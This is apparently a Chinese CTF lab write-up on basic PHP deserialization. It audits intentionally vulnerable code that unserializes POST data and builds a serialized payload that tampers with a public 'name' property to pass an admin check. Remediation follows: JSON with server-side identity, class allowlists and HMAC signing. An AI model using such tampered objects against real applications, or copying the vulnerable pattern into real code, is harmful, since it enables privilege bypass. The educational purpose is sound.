【好靶场】PHP反序列化入门练习
- 【好靶场】PHP反序列化入门练习
-
- 前言
-
- [1. `serialize()`:序列化](#1.
serialize():序列化) - [2. `unserialize()`:反序列化](#2.
unserialize():反序列化) - [3. 常见序列化标识](#3. 常见序列化标识)
- [4. 字符串长度必须准确](#4. 字符串长度必须准确)
- [5. public 属性的序列化规则](#5. public 属性的序列化规则)
- [1. `serialize()`:序列化](#1.
- 一、题目源码审计与利用思路
- 二、魔术方法在本题中的作用
-
- [1. `__construct()`](#1.
__construct()) - [2. `__destruct()`](#2.
__destruct())
- [1. `__construct()`](#1.
- 三、利用思路
- [四、Payload 构造](#四、Payload 构造)
-
- [1. 使用 PHP 自动生成 Payload](#1. 使用 PHP 自动生成 Payload)
- [2. 最终 Payload](#2. 最终 Payload)
- [五、Payload 分段解析](#五、Payload 分段解析)
- 六、漏洞原理分析
- 七、漏洞根源与工程级修复方案
-
- [方案一:不要对用户输入使用 `unserialize()`](#方案一:不要对用户输入使用
unserialize()) - 方案二:必须使用序列化时,限制反序列化范围
- [方案三:使用 HMAC 防止序列化数据被篡改](#方案三:使用 HMAC 防止序列化数据被篡改)
- [方案一:不要对用户输入使用 `unserialize()`](#方案一:不要对用户输入使用
- 总结
【好靶场】PHP反序列化入门练习
本文仅用于授权靶场、CTF 练习和本地安全学习。
前言
PHP 反序列化漏洞并不一定都会导致命令执行。
在最基础的题型中,攻击者可能只需要修改序列化对象中的某个属性,就可以改变程序原本的业务逻辑,例如:
- 修改用户名;
- 修改用户角色;
- 修改权限标识;
- 修改身份认证状态;
- 绕过服务端的条件判断。
本题就是一道典型的 PHP 反序列化属性篡改题。
服务端接收用户提交的序列化字符串,通过 unserialize() 还原成 Test 对象,然后判断对象的 name 属性是否等于 admin。
由于 name 是 public 公有属性,攻击者可以直接构造一个新的序列化对象,将:
php
$name = "test";
修改为:
php
$name = "admin";
从而绕过程序判断并获得 flag。
本题不涉及:
__wakeup()利用;__destruct()命令执行;- POP 链;
- 文件读取;
- 远程代码执行。
本题的核心考点只有一个:
利用用户可控的序列化数据修改对象属性,绕过业务逻辑判断。
1. serialize():序列化
serialize() 是 PHP 提供的序列化函数,可以将数组、对象等数据结构转换为具有固定格式的字符串。
示例代码:
php
<?php
$arr = ['one', 'two'];
echo serialize($arr);
输出结果:
text
a:2:{i:0;s:3:"one";i:1;s:3:"two";}
其中:
| 标识 | 含义 |
|---|---|
a |
Array,数组 |
2 |
数组包含 2 个元素 |
i |
Integer,整数 |
s |
String,字符串 |
2. unserialize():反序列化
unserialize() 用于将序列化字符串还原成原始数据结构。
示例代码:
php
<?php
$data = 'a:2:{i:0;s:3:"one";i:1;s:3:"two";}';
$result = unserialize($data);
print_r($result);
输出结果:
text
Array
(
[0] => one
[1] => two
)
如果序列化字符串中包含对象,unserialize() 还可能还原出对应的 PHP 对象。
例如:
text
O:4:"Test":2:{...}
表示还原一个名为 Test 的对象。
需要注意:
如果
unserialize()接收的字符串完全由用户控制,攻击者就可能伪造对象或修改对象属性。
3. 常见序列化标识
PHP 序列化字符串中常见的类型标识如下:
| 标识 | 含义 | 示例 |
|---|---|---|
O |
Object,对象 | O:4:"Test":... |
a |
Array,数组 | a:2:{...} |
s |
String,字符串 | s:5:"admin" |
i |
Integer,整数 | i:18 |
b |
Boolean,布尔值 | b:1 |
N |
NULL | N; |
对象的基本格式为:
text
O:类名长度:"类名":属性数量:{属性键值对}
例如:
text
O:4:"Test":2:{...}
含义如下:
O:表示对象;4:类名Test的长度为 4;"Test":类名;2:对象包含 2 个属性。
4. 字符串长度必须准确
字符串的格式为:
text
s:字节长度:"字符串内容"
例如:
text
s:4:"test"
s:5:"admin"
其中:
test有 4 个字节;admin有 5 个字节。
正确示例:
text
s:5:"admin"
错误示例:
text
s:4:"admin"
长度声明错误时,unserialize() 可能解析失败并返回 false,从而导致 Payload 无法正常使用。
注意:PHP 序列化计算的是字节长度,而不是简单的中文字符数量。纯英文字符通常是单字节,但中文字符在 UTF-8 编码下通常占用多个字节。
5. public 属性的序列化规则
本题中的属性都是 public 公有属性。
php
class Test {
public $name = "test";
public $age = 18;
}
序列化后,属性名会直接使用原始名称:
text
s:4:"name"
s:3:"age"
如果属性是 protected 或 private,序列化后的属性名会包含不可见的空字节和作用域信息,手工构造时更容易出错。
例如:
protected属性通常包含\0*\0;private属性通常包含\0类名\0。
本题使用的是 public 属性,因此 Payload 构造比较简单。
一、题目源码审计与利用思路

靶场给出的核心代码如下:
php
<?php
class Test {
public $name = "test";
public $age = 18;
public function __construct() {}
public function __destruct() {}
}
$data = $_POST['data'] ?? '';
$obj = unserialize($data);
if ($obj instanceof Test && $obj->name === 'admin') {
echo 'flag';
} else {
echo 'try again';
}
其中最关键的代码是:
php
$data = $_POST['data'] ?? '';
$obj = unserialize($data);
$data 来自用户提交的请求参数,服务端没有验证数据是否由服务器生成,就直接将其传入 unserialize()。
随后,程序使用反序列化对象中的属性进行判断:
php
$obj->name === 'admin'
这就产生了属性篡改风险。
攻击者不需要修改服务端代码,只需要构造一个满足条件的 Test 对象:
php
$obj->name = 'admin';
即可通过判断。
二、魔术方法在本题中的作用
源码中定义了两个魔术方法:
php
public function __construct() {}
public function __destruct() {}
但这两个方法在本题中都不是实际利用点。
1. __construct()
__construct() 是构造方法,通常在执行:
php
new Test();
时调用。
但是,unserialize() 在还原对象时通常不会重新调用 __construct()。
因此,本题的利用并不是通过构造方法实现的。
2. __destruct()
__destruct() 是析构方法,在对象销毁时调用。
本题虽然定义了析构方法,但方法体为空:
php
public function __destruct() {}
它没有执行文件操作、命令执行或其他危险行为,因此不会产生 RCE。
本题与后续命令执行题的区别如下:
| 题目 | 利用方式 | 最终影响 |
|---|---|---|
| 本题 | 修改 public 属性 name |
业务逻辑绕过 |
| 练习 2 | 修改属性并触发 __destruct() |
命令执行或文件读取 |
三、利用思路
本题的完整利用流程如下:
text
找到 Test 类
↓
确认 name 是 public 属性
↓
找到服务端判断条件 name === "admin"
↓
将 name 的值从 test 修改为 admin
↓
重新生成序列化 Payload
↓
提交 Payload
↓
服务端 unserialize() 还原对象
↓
绕过业务判断,获取 flag
原始对象属性为:
php
$name = "test";
$age = 18;
目标对象属性为:
php
$name = "admin";
$age = 18;
因此,只需要修改 name 属性对应的序列化内容。
四、Payload 构造
1. 使用 PHP 自动生成 Payload
推荐使用 PHP 的 serialize() 函数生成 Payload,避免手动计算长度时出错。
php
<?php
class Test {
public $name = 'test';
public $age = 18;
}
$obj = new Test();
// 修改对象属性
$obj->name = 'admin';
// 生成序列化字符串
$payload = serialize($obj);
echo $payload . PHP_EOL;
// 本地验证
$result = unserialize($payload);
if ($result instanceof Test && $result->name === 'admin') {
echo "Payload verification passed" . PHP_EOL;
}
运行输出:
text
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
Payload verification passed
2. 最终 Payload
text
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
将完整Payload填入靶场输入框提交:
text
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
靶场后台执行流程:
text
接收前端传入的序列化Payload
↓
unserialize() 还原得到篡改后的 Test 对象
↓
校验 $name 是否等于 admin
↓
校验通过,返回 flag

提交成功后靶场返回flag:
text
flag{71cd84f4602749ad8ec895d14efc2f08}
五、Payload 分段解析
完整 Payload:
text
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
分段分析如下:
| Payload 片段 | 含义 |
|---|---|
O |
表示对象 Object |
4:"Test" |
类名为 Test,长度为 4 |
2 |
对象包含 2 个属性 |
s:4:"name" |
属性名为 name,长度为 4 |
s:5:"admin" |
属性值为 admin,长度为 5 |
s:3:"age" |
属性名为 age,长度为 3 |
i:18 |
属性值为整数 18 |
原始序列化字符串中的相关片段为:
text
s:4:"name";s:4:"test";
修改后变成:
text
s:4:"name";s:5:"admin";
这里有两个地方需要注意:
test的长度是 4;admin的长度是 5。
如果只修改字符串内容,不修改长度:
text
s:4:"admin"
就可能导致反序列化失败。
六、漏洞原理分析
本题的漏洞类型可以概括为:
用户可控反序列化数据导致对象属性篡改,最终造成业务逻辑绕过。
漏洞链路如下:
text
用户可控输入
↓
直接调用 unserialize()
↓
还原攻击者构造的 Test 对象
↓
对象 public 属性可被任意修改
↓
服务端信任对象属性进行业务判断
↓
绕过原有逻辑
本题中,服务端错误地认为:
php
$obj->name
是可信数据。
实际上,这个值来自用户提交的序列化字符串,因此攻击者可以将其设置为任意值。
需要注意的是,本题没有危险的魔术方法调用,所以它不会直接造成命令执行。
但是在真实应用中,如果服务端将以下属性直接交给用户控制:
php
$is_admin
$role
$user_id
$is_verified
就可能导致:
- 越权访问;
- 管理员权限绕过;
- 用户身份伪造;
- 业务流程绕过;
- 敏感功能未授权调用。
因此,属性篡改虽然是最基础的反序列化问题,但仍然具有现实安全意义。
七、漏洞根源与工程级修复方案
方案一:不要对用户输入使用 unserialize()
最推荐的方案是:不要将用户可控数据直接传入 unserialize()。
如果只是传输普通数据,可以使用 JSON:
php
<?php
$input = $_POST['data'] ?? '';
$data = json_decode($input, true);
if (!is_array($data)) {
exit('非法参数');
}
$name = $data['name'] ?? '';
if (!is_string($name)) {
exit('参数类型错误');
}
但是,仅仅把序列化格式换成 JSON 并不代表可以信任客户端提交的权限字段。
例如,以下逻辑仍然不安全:
php
if ($data['name'] === 'admin') {
echo 'flag';
}
因为攻击者仍然可以提交:
json
{
"name": "admin"
}
正确做法是从服务端可信数据源获取身份信息:
php
<?php
$userId = $_SESSION['user_id'] ?? null;
if ($userId === null) {
exit('请先登录');
}
$user = loadUserFromDatabase($userId);
if ($user['role'] === 'admin') {
echo 'authorized';
}
核心原则是:
客户端只能提交业务参数,不能决定自己的身份和权限。
方案二:必须使用序列化时,限制反序列化范围
如果由于历史原因必须保留序列化机制,可以限制允许反序列化的类:
php
<?php
$data = $_POST['data'] ?? '';
$obj = unserialize($data, [
'allowed_classes' => ['Test']
]);
if (!$obj instanceof Test) {
exit('非法对象');
}
不过需要特别说明:
allowed_classes只能限制允许实例化哪些类,不能防止允许类的公有属性被篡改。
对于本题来说,攻击者提交的本来就是 Test 对象,因此:
php
'allowed_classes' => ['Test']
并不能阻止:
php
$obj->name = 'admin';
所以,类白名单只能作为缓解措施,不能单独修复本题的业务逻辑漏洞。
方案三:使用 HMAC 防止序列化数据被篡改
如果序列化数据由服务端生成并需要在客户端传输,可以使用 HMAC 对数据进行完整性校验。
php
<?php
$data = $_POST['data'] ?? '';
$sign = $_POST['sign'] ?? '';
$secret = $_ENV['SERIALIZE_SECRET'] ?? '';
$expectedSign = hash_hmac(
'sha256',
$data,
$secret
);
if (!hash_equals($expectedSign, $sign)) {
exit('数据校验失败');
}
$obj = unserialize($data, [
'allowed_classes' => ['Test']
]);
if (!$obj instanceof Test) {
exit('非法对象');
}
服务端生成数据时计算签名:
php
$sign = hash_hmac('sha256', $data, $secret);
客户端修改 $data 后,由于没有服务端密钥,无法生成正确的签名,服务端会在反序列化之前拒绝请求。
使用 HMAC 时需要注意:
- 密钥必须保存在服务端;
- 不能将密钥写入前端代码;
- 必须先验签,再进行反序列化;
- 使用
hash_equals()进行安全比较; - HMAC 只能防止数据被篡改,不能替代对象安全设计。
总结
本题的解题过程可以概括为:
text
找到 Test 类
↓
确认 name 是 public 属性
↓
找到服务端判断条件 name === "admin"
↓
将 test 修改为 admin
↓
同步修改字符串长度 4 → 5
↓
提交序列化 Payload
↓
绕过业务判断并获得 flag
最终 Payload:
text
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
本题虽然没有涉及命令执行或复杂 POP 链,但它体现了 PHP 反序列化漏洞最基础的风险:
当服务端信任用户可控的序列化对象时,攻击者可能通过修改对象属性改变程序状态,进而绕过原有业务逻辑。
后续更复杂的 PHP 反序列化漏洞,本质上仍然是在这个基础上继续寻找:
text
可控对象属性
+
自动触发的魔术方法
+
危险函数或敏感操作
因此,掌握本题中的对象属性篡改,是学习 PHP 反序列化 POP 链和命令执行漏洞的重要基础。